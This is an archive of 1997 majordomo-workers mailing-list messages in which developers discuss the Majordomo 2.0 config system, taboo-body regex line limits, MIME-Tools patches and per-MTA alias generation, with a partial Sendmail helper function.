majordomo-workers-outgoing; Mon, 18 Aug 1997 21:27:08 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA21173 for ; Mon, 18 Aug 1997 21:26:58 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id AAA13182; Tue, 19 Aug 1997 00:30:07 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA29072; Tue, 19 Aug 1997 00:05:18 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@greatcircle.com Subject: Re: Introduction Date: Tue, 19 Aug 1997 00:05:36 -0400 Message-Id: <33fa1adb.5359772@world.std.com> References: <9708181525.AA18300@po8.MIT.EDU> <33f8ef96.1078505@world.std.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 18 Aug 1997 21:04:50 -0500, Jason L Tibbitts III wrote: >>>>>> "JK" =3D=3D John Kahila writes: > >JK> I think I'll start then with the config variables since it sounds = like >JK> a manageable-sized task, and it seems also to fit into the general >JK> "list owner info" category. > >It's pretty manageable, but keep in mind a couple of things. I am = changing >some of the config stuff; the types as listed are being completely = redone >as I rewrite a large part of the underlying config system. (Basically, = all >complicated parsing now happens at set time, which lets me do full = syntax >checking _and_ save the data preparsed which should eliminate a bunch of >overhead.) So at least the description of the types will have to change >because I streamlined the types in the process. This shouldn't be a big problem. My starting point will be a functional description, not a technical one. Not knowing perl may be an advantage in the early stages. :-) >Also, I just started with that file automatically generated from 1.94.3; >some of those variables mean absolutely nothing. Many of them are = obsolete >but will be used for backwards compatibility. OK. >While you're at it, look at the groups each variable is in. I just made >some up arbitrarily to see that it works; I'm sure it can be done much >better. Will do. I have set up the beginnings of an esthetically challenged web site for docs at . The link to work-in-progress for the config variables doesn't do anything yet, and probably won't for another few days at least. If somebody else is working on docs and wants to be listed, please advise. If you want me to provide a link to something you are working on, include the URL. Thanks, john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Mon Aug 18 23:27:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA05547 for majordomo-workers-outgoing; Mon, 18 Aug 1997 23:12:56 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA05540 for ; Mon, 18 Aug 1997 23:12:51 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id BAA13574; Tue, 19 Aug 1997 01:16:10 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Introduction References: <9708181525.AA18300@po8.MIT.EDU> <33f8ef96.1078505@world.std.com> <33fa1adb.5359772@world.std.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 19 Aug 1997 01:16:09 -0500 In-Reply-To: jkahila@world.std.com's message of Tue, 19 Aug 1997 00:05:36 -0400 Message-ID: Lines: 12 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JK" == John Kahila writes: JK> My starting point will be a functional description, not a technical JK> one. That's fine by me. You might want to leave access_rules, delivery_rules, digests, taboo_* and admin_* for later, because in all of their generality they can be quite complicated. There will have to be a dialog between us in order to get those sorted out. welcome_files is probably doable without much trouble, even though it's a table. - J< From owner-majordomo-workers-outgoing Tue Aug 19 09:28:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA11491 for majordomo-workers-outgoing; Tue, 19 Aug 1997 09:21:29 -0700 (PDT) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA11454 for ; Tue, 19 Aug 1997 09:21:07 -0700 (PDT) Received: tid NAA24604; Tue, 19 Aug 1997 13:23:52 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for majordomo-workers@greatcircle.com id NAA05000; Tue, 19 Aug 1997 13:21:41 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199708191621.NAA05000@ecology.bio.dfo.ca> Subject: Further question on taboo_bodies, and suggestion To: majordomo-workers@greatcircle.com (Majordomo developers) Date: Tue, 19 Aug 1997 13:21:35 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk In looking at some recent exchanges, I find myself wondering whether there is any way to have Mj look for certain phrases in just the first text line of a message, rather than searching further down (I assume that I could easily hack the code to cover only the first line, but for most admintrivia I would rather be able to look further down. Otherwise I would just change 10 to 2 in if ($body_line_count < 10). An example of a word which I would like to trigger a bounce in only the first line is "Dear", suggesting that the sender has sent a personal reply to the list (I run several discussion lists where replies go to the list, by popular demand). Furthermore, a lot of the recent complaints about the problems with the S- word (you know. Xubzkrayb) could be alleviated if they had the option of only looking for it at the top of the message (my experience has been that the people who don't know the correct address for list commands also don't know that they can include multiple commands in a single message). Whther this sort of creeping featurism is worth the hassle I don't know. The obvious way is to duplicate the existing code with taboo_1stlines and so on. I would however suggest that the number of lines, which is now hard-wired into the code as 10, be set as a configurable variable to increase its visibility. Not everyone knows perl, and I think that lines that are likely to be changed should be located near the top of the script and clearly identified. -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-workers-outgoing Tue Aug 19 10:03:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA15075 for majordomo-workers-outgoing; Tue, 19 Aug 1997 09:52:14 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA15048 for ; Tue, 19 Aug 1997 09:52:03 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA24274; Tue, 19 Aug 1997 11:55:25 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Further question on taboo_bodies, and suggestion References: <199708191621.NAA05000@ecology.bio.dfo.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 19 Aug 1997 11:55:22 -0500 In-Reply-To: bill@ecology.bio.dfo.ca's message of Tue, 19 Aug 1997 13:21:35 -0300 (ADT) Message-ID: Lines: 26 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BS" == Bill Silvert writes: BS> In looking at some recent exchanges, I find myself wondering whether BS> there is any way to have Mj look for certain phrases in just the first BS> text line of a message, rather than searching further down (I assume BS> that I could easily hack the code to cover only the first line, but for BS> most admintrivia I would rather be able to look further down. 2.0 lets you specify a line to stop searching at for every regex. You specify things like this: /naughty/i 5 to look for naughty in the first five lines. The line number is optional, and defaults to 10 for admin_body and 0 (unlimited) for taboo_body. If all regexes are line-limited, the search will stop without checking the entire message. This isn't actually all that hard to do, even in the 1.9x case. Look at _build_taboo_data in Resend.pm if you want to see how the matcher routines are constructed. The ones I use have much different return values, though, because they give you back both the regex and the text that it matched. I also have to deal with the inverted matches. - J< From owner-majordomo-workers-outgoing Tue Aug 19 11:14:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA23283 for majordomo-workers-outgoing; Tue, 19 Aug 1997 10:55:44 -0700 (PDT) Received: from mail2.panix.com (mail2.panix.com [198.7.0.33]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA23241 for ; Tue, 19 Aug 1997 10:55:34 -0700 (PDT) Received: from tneffgp ([160.43.147.201]) by mail2.panix.com (8.8.5/8.7.1/PanixM1.0) with SMTP id NAA01677 for ; Tue, 19 Aug 1997 13:58:46 -0400 (EDT) Message-Id: <3.0.1.32.19970819135341.015ba750@panix2.panix.com> X-Sender: tneff@panix2.panix.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 19 Aug 1997 13:53:41 -0400 To: majordomo-workers@GreatCircle.COM From: Tom Neff Subject: Re: Further question on taboo_bodies, and suggestion In-Reply-To: References: <199708191621.NAA05000@ecology.bio.dfo.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk The problem with line limited searches is that people reply to entire Digests and add just the "US word" at the beginning - or the end. By the way, I would like to see that check turned OFF for this list, so that we can discuss the technicalities without having to resort to clever pseudoyms for the command keywords in question. -- Tom Neff From owner-majordomo-workers-outgoing Tue Aug 19 11:44:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA28545 for majordomo-workers-outgoing; Tue, 19 Aug 1997 11:34:31 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA28492 for ; Tue, 19 Aug 1997 11:34:17 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA27169; Tue, 19 Aug 1997 13:37:41 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Further question on taboo_bodies, and suggestion References: <199708191621.NAA05000@ecology.bio.dfo.ca> <3.0.1.32.19970819135341.015ba750@panix2.panix.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 19 Aug 1997 13:37:40 -0500 In-Reply-To: Tom Neff's message of Tue, 19 Aug 1997 13:53:41 -0400 Message-ID: Lines: 16 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "TN" == Tom Neff writes: TN> The problem with line limited searches is that people reply to entire TN> Digests and add just the "US word" at the beginning - or the end. Perhaps, but at least in 2.0 it's under your control. Right now, it's not. Besides, you should have other preventative methods in place to keep people from quoting your digests. TN> By the way, I would like to see that check turned OFF for this list, so TN> that we can discuss the technicalities without having to resort to TN> clever pseudoyms for the command keywords in question. I think you'd have to talk to the list owner about that. - J< From owner-majordomo-workers-outgoing Tue Aug 19 14:17:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA22881 for majordomo-workers-outgoing; Tue, 19 Aug 1997 13:58:44 -0700 (PDT) Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA22828 for ; Tue, 19 Aug 1997 13:58:33 -0700 (PDT) Received: (from lazlo@localhost) by kitsune.swcp.com (8.8.5/1.2.3) id PAA13195 for majordomo-workers@greatcircle.com; Tue, 19 Aug 1997 15:01:49 -0600 (MDT) Message-Id: <199708192101.PAA13195@kitsune.swcp.com> Subject: Re: Further question on taboo_bodies, and suggestion To: majordomo-workers@greatcircle.com (mw) Date: Tue, 19 Aug 1997 15:01:49 -0600 (MDT) From: "Lazlo Nibble" X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > The problem with line limited searches is that people reply to entire > Digests and add just the "US word" at the beginning - or the end. You can avoid this problem by making sure that the maximum message size allowed on the list is smaller than the trigger size for the digest. (On digests that are size-triggered, anyway.) -- ::: Lazlo (lazlo@swcp.com; http://www.swcp.com/lazlo) ::: Internet Music Wantlists: http://www.swcp.com/lazlo/Wantlists From owner-majordomo-workers-outgoing Thu Aug 21 01:57:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA23953 for majordomo-workers-outgoing; Thu, 21 Aug 1997 01:43:26 -0700 (PDT) Received: from gate.insite.co.uk (gate.insite.co.uk [193.123.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id BAA23938 for ; Thu, 21 Aug 1997 01:43:08 -0700 (PDT) Received: from picard.insite.co.uk (picard.verity.com [192.168.70.35]) by gate.insite.co.uk (8.6.9/8.6.12) with ESMTP id IAA06015 for ; Thu, 21 Aug 1997 08:53:45 GMT Received: by picard.verity.com with Internet Mail Service (5.0.1458.49) id ; Thu, 21 Aug 1997 08:47:07 -0000 Message-ID: <519947FD04D8CF11900F0800001798152638E8@picard.verity.com> From: Peter Bowyer To: "'Jason L Tibbitts III'" Cc: "'majordomo-workers@greatcircle.com'" Subject: RE: major1.94.3 and perl for win32 Date: Thu, 21 Aug 1997 08:47:03 -0000 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1458.49) Content-Type: text/plain Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason > -----Original Message----- > From: Jason L Tibbitts III [SMTP:tibbs@hpc.uh.edu] > Sent: Thursday, August 21, 1997 12:48 AM > To: Eric Gus > Cc: majordomo-users@greatcircle.com > Subject: Re: major1.94.3 and perl for win32 > > > I'd actually like to get someone to test 2.0 on a win32 system > eventually > (once it's closer to release); it should be much easier to make it > work > because it has no dependence on the local mailer. > [Peter Bowyer] You can put me down for that - we're essentially an NT shop here, with Linux filling the gaps... Peter cc: majordomo-workers From owner-majordomo-workers-outgoing Fri Aug 22 00:49:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA29077 for majordomo-workers-outgoing; Fri, 22 Aug 1997 00:42:19 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA29010 for ; Fri, 22 Aug 1997 00:41:37 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id CAA18792; Fri, 22 Aug 1997 02:45:04 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Snapshot: new config stuff Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 22 Aug 1997 02:45:03 -0500 Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I finished implementing my redesign of part of the config system. Now any complex parsing that needs to happen is all done within the config system (except for passwords, which have special semantics that I haven't figured out how to deal with yet). The main goal of all of this was syntax checking on the set command, even for complex types. A nice result is that when you do a configset on a complex type, it gets stored in its parsed form (and in its raw form) so the next time it's retrieved it doesn't have to be parsed. That should save some time for my 2000-line taboo_headers variable. Outside of that, I fixed up a bunch of warnings that Vince found (thanks, Vince!), added more Makefile.PL checking (including info on running h2ph in case your perl isn't completely installed), fixed some ownership problems (the setuid stuff should stick on Linux now), and did some other cleanup. Documentation folks: not much new here. mj_cf_data.pl has been updated with all of the new type names, though I haven't fixed the big instruction block at the end. After this, I'm working on resend for a bit. ftp.hpc.uh.edu:/pub/majordomo/Majordomo-0.0199708220.tar.gz - J< From owner-majordomo-workers-outgoing Sat Aug 23 13:42:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA10144 for majordomo-workers-outgoing; Sat, 23 Aug 1997 13:36:46 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA10137 for ; Sat, 23 Aug 1997 13:36:41 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA24244; Sat, 23 Aug 1997 15:40:48 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: MIME and other questions Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 23 Aug 1997 15:40:47 -0500 Message-ID: Lines: 32 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Just some questions for everybody: Right now the snapshots come with a patch to MIME-Tools that you have to apply. This is because MIME-Tools has one bug which gets in the way, and a bit of missing functionality that I need to add. Eryq (the author) is away and so I can't know if he will cut a new release or if he won't accept any changes. I have some more functionality to add, too. So, does anyone have any trouble with the patch, or should I distribute a separate set of patched MIME modules internal to Majordomo? I don't think anyone's trying these things anyway, so it might be a moot point, but anyway... I suppose that before release something's going to have to be done, because distributing a patch just isn't the way to do things. What do people think about the preamble and epilogue? (That's the stuff before the first and after the last boundary). Should I save them? According to the MIME standards I can do what I want with them, but it seems gratuitous to just toss them. Unfortunately MIME-Tools doesn't have any facility for dealing with them, so I'll either have to continue trashing them or extend MIME-Tools to do what I want. Do the documentation folks have any questions? I know it's a real pain to get bootstrapped and I'm here to help. So, just ask me. If anyone would like, I'll start running a server here that people can try out. I can add some lists for the purposes of documentation; I know that most people aren't ready to try running the software locally. - J< From owner-majordomo-workers-outgoing Sat Aug 23 18:42:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA22275 for majordomo-workers-outgoing; Sat, 23 Aug 1997 18:42:04 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA22268 for ; Sat, 23 Aug 1997 18:41:59 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id VAA23239; Sat, 23 Aug 1997 21:46:01 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA00149; Sat, 23 Aug 1997 21:45:58 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@greatcircle.com Subject: Re: MIME and other questions Date: Sat, 23 Aug 1997 21:46:18 -0400 Message-Id: <34019202.1438406@world.std.com> References: In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 23 Aug 1997 15:40:47 -0500, Jason L Tibbitts III wrote: >Do the documentation folks have any questions? I know it's a real pain = to >get bootstrapped and I'm here to help. So, just ask me. This documentation folk is still absorbing perl. It has associative arrays! I could write a MUMPS interpreter. :-) May have questions for you later, but not right now. Thanks. john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Sat Aug 23 22:12:45 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA03188 for majordomo-workers-outgoing; Sat, 23 Aug 1997 22:04:40 -0700 (PDT) Received: from webdreams.com (www.webdreams.com [199.125.85.28]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id WAA03181 for ; Sat, 23 Aug 1997 22:04:34 -0700 (PDT) Received: from localhost by webdreams.com (5.65v3.2/1.1.10.5/29Aug96-0251AM) id AA24356; Sun, 24 Aug 1997 01:08:55 -0400 Date: Sun, 24 Aug 1997 01:08:55 -0400 (EDT) From: Brock Rozen To: Jason L Tibbitts III Cc: majordomo-workers@greatcircle.com Subject: Re: MIME and other questions In-Reply-To: Message-Id: X-Backup: Disable X-Url: http://www.webdreams.com/~brozen Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 23 Aug 1997, Jason L Tibbitts III wrote: > So, does anyone have any trouble with the patch, or should I distribute a > separate set of patched MIME modules internal to Majordomo? I don't think > anyone's trying these things anyway, so it might be a moot point, but > anyway... I suppose that before release something's going to have to be > done, because distributing a patch just isn't the way to do things. If you're adding new functionality, it might just be better to release your own module. If the author of the other one wants to implement your patch and features, then even better. > What do people think about the preamble and epilogue? (That's the stuff > before the first and after the last boundary). Should I save them? > According to the MIME standards I can do what I want with them, but it > seems gratuitous to just toss them. Unfortunately MIME-Tools doesn't have > any facility for dealing with them, so I'll either have to continue > trashing them or extend MIME-Tools to do what I want. I think they should be saved. Might prove useful to somebody somewhere along the line. Besides, can it hurt? I say, if it's not too much work, leave 'em in there somewhere. > out. I can add some lists for the purposes of documentation; I know that > most people aren't ready to try running the software locally. Although we're real anxious to do it. ;-) Keep up the good work, we'll all get to that point. ------------------------------------------------------------------------- | Brock Rozen | brozen@webdreams.com | http://www.webdreams.com/~brozen | ------------------------------------------------------------------------- From owner-majordomo-workers-outgoing Sat Aug 23 22:27:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA03721 for majordomo-workers-outgoing; Sat, 23 Aug 1997 22:22:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA03714 for ; Sat, 23 Aug 1997 22:22:43 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA00392; Sun, 24 Aug 1997 00:26:52 -0500 (CDT) To: Brock Rozen Cc: majordomo-workers@greatcircle.com Subject: Re: MIME and other questions References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 24 Aug 1997 00:26:51 -0500 In-Reply-To: Brock Rozen's message of Sun, 24 Aug 1997 01:08:55 -0400 (EDT) Message-ID: Lines: 45 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BR" == Brock Rozen writes: BR> If you're adding new functionality, it might just be better to release BR> your own module. If the author of the other one wants to implement your BR> patch and features, then even better. I have no intention of rewriting all of the MIME modules, and I'm not really keen on ripping off all of Eryq's work. The modules aren't simple, and it's not my turn to be a diety this week. Eryq has in the past expressed an interest in accommodating Majordomo, so I'm hopeful that there won't be a problem. I guess what I'm asking is: is the requirement that you patch your MIME modules standing in the way of anyone testing/developing Majordomo? I'll do whatever it takes (well, within reason...) to get more folks to help me work on this. If that means distributing hacked MIME tools during development then I'll do it. (Note that these hacked modules would not interfere with your existing modules; they would sit in Majordomo's namespace.) BR> I think they should be saved. Might prove useful to somebody somewhere BR> along the line. Besides, can it hurt? I say, if it's not too much work, BR> leave 'em in there somewhere. Right now it's work; perhaps too much until I get word back from Eryq. I still want to do it right eventually, but I'm looking for really good reasons why I have to fix it now as opposed to 'sometime before release'. BR> Although we're real anxious to do it. ;-) Keep up the good work, we'll BR> all get to that point. Well, keep in mind that you can unpack, run Makefile.PL, make and make test without installing anything. You can actually do all of the Majordomo functions _except_ resend without making any aliases at all. (You do have to be root to do the setuid stuff, though. It is possible to do without that if you just want to run things as you.) Nothing disrupts your existing Majordomo system. In fact, due to the way the internals are designed, it's dead simple to make a 'post' command that feeds a message into the delivery system. The mj_resend executable is only 100 lines, and a bunch of that is comments and initialization code. If I did that, you wouldn't have to add any aliases. This would make a neat and very secure way to run announcement lists. - J< From owner-majordomo-workers-outgoing Sat Aug 23 22:42:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA04058 for majordomo-workers-outgoing; Sat, 23 Aug 1997 22:33:19 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA04051 for ; Sat, 23 Aug 1997 22:33:14 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA00495; Sun, 24 Aug 1997 00:37:25 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Support your MTA! Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 24 Aug 1997 00:37:24 -0500 Message-ID: Lines: 59 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I was hoping that proponents of other MTAs would jump at the chance at getting support for their favorite software in early, but perhaps the cost of entrance is to high. So I'll make it easy. Majordomo creates all of its internal structure automatically when given the 'createlist' command, then it calls the appropriate function to generate information telling a responsible party what to tell the MTA. To support your MTA, write a function that gives the user enough information to tell your MTA about a list. You get these parameters: owner => name of list owner list => name of list (no list -> produce global aliases) bindir => path to Majordomo executables domain => domain this list or majordomo is to serve but if you need something else, ask. (Majordomo already knows what MTA you have; it is told at installation time.) You should output a header with explanatory information, and the actual "stuff". For Sendmail, the "stuff" is aliases; for qmail, it might be a little shell script that they could run to create the necessary dotfiles. Here's the function for Sendmail: sub sendmail { my $log = new Log::In 150; my %args = @_; my $bin = $args{'bindir'} || $log->abort("bindir not specified"); my $dom = $args{'domain'} || $log->abort("domain not specified"); my $own = $args{'owner'} || $log->abort("owner not specified"); my $list = $args{'list'} || 'GLOBAL'; my $head = <; Sun, 24 Aug 1997 20:49:48 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id XAA27680; Sun, 24 Aug 1997 23:54:01 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA28914; Sun, 24 Aug 1997 23:53:57 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@greatcircle.com Subject: Config questions/comments Date: Sun, 24 Aug 1997 23:54:17 -0400 Message-Id: <340901e5.5896125@world.std.com> X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Here is a starting list of config questions/comments. I'm still new to Majordomo and perl, so please bear with me if any of this seems dense. If it seems easiest to refer me to some part of the sources to see how a variable is handled, feel free to do that; if the perl is too far over my head, I will ask for help. References are to mj_config_data.pl in the snapshot of 22 Aug 97. Apologies for prolixity. (1) First, an anal-retentive semantic quibble. The description of the hash keys at the head of the file says: local - true if the variable is list-specific. global - true [i]f the variable is not list-specific, but part of=20 the global Majordomo config. The most reasonable reading of this is that a global variable is not local. However, that reading conflicts with the actual settings for a multitude of variables, starting with the first variable get_access which has both 'local' and 'global' set to true. Suggested rewording: global - true if the variable is part of the global Majordomo config (note that a variable may be both local and global). Also, as long as we're doing quibbles ... under 'delivery_rules', one of the variables is named mumbatches (as opposed to numbatches). Is this intentional? (2) I am trying to build a "functional" picture of mj for myself, to impose some structure on the documentation task. There are several parties who might take an interest in the config variables. Since they have to negotiate with each other at times, they can probably be modeled conveniently as objects; but I haven't given that much thought yet (I have seen OO references on this list -- is there someplace where I could find an existing object model in the sources?). At present I can think of the following interested parties -- are there others, or should any of these be collapsed together? list members list moderators (or groups thereof) list owners/administrators Majordomo managers (i.e., administrators of the list space) Majordomo implementers (people who might want to hack sources) mail administrators N.B. I may not be able to do much in the way of documentation for the last few categories (especially the last one, given my ignorance of sendmail). We'll see how it goes. (3) My reading of mj_config_data.pl suggests that a fairly good mapping to the categories in (2) can be obtained by inspection of the 'groups' hash key. Is this correct? Are there other useful discriminators I should be aware of? (4) Over the next week, I will try to put together a HTML-ized version of a functional breakdown of the keys (will aim to have something readable by end of month). This will start as a rearrangement of what is already in the file, but hopefully will evolve. The preceding applies only to explanatory material, not to the elements of %vars themselves. Can the elements of %vars be safely re-ordered, or is order significant? (5) Are there particular keys in %vars that have been the occasion of chronic questions on mj-users? If so, that's probably the right place for me to start looking for changes in wording. Thanks in advance for any comments, john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Sun Aug 24 23:42:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA20034 for majordomo-workers-outgoing; Sun, 24 Aug 1997 23:33:33 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id WAA14611 for ; Sun, 24 Aug 1997 22:47:32 -0700 (PDT) Received: from sina.hpc.uh.edu by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id WAA17239; Sun, 24 Aug 1997 22:34:23 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA18126; Mon, 25 Aug 1997 00:39:15 -0500 (CDT) To: majordomo-workers@GreatCircle.COM Subject: Re: Config questions/comments References: <340901e5.5896125@world.std.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 25 Aug 1997 00:39:15 -0500 In-Reply-To: jkahila@world.std.com's message of Sun, 24 Aug 1997 23:54:17 -0400 Message-ID: Lines: 132 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JK" == John Kahila writes: JK> Suggested rewording: global - true if the variable is part of the JK> global Majordomo config (note that a variable may be both local and JK> global). Sounds pretty good to me. Originally the global and local configs were disjoint sets, then they were integrated into the same structure with local and global tags added. Now a variable can be one or both. Note that under the hood there's a list called 'GLOBAL' that is just like any other list except that it gets different variables and you can't subscribe to it. 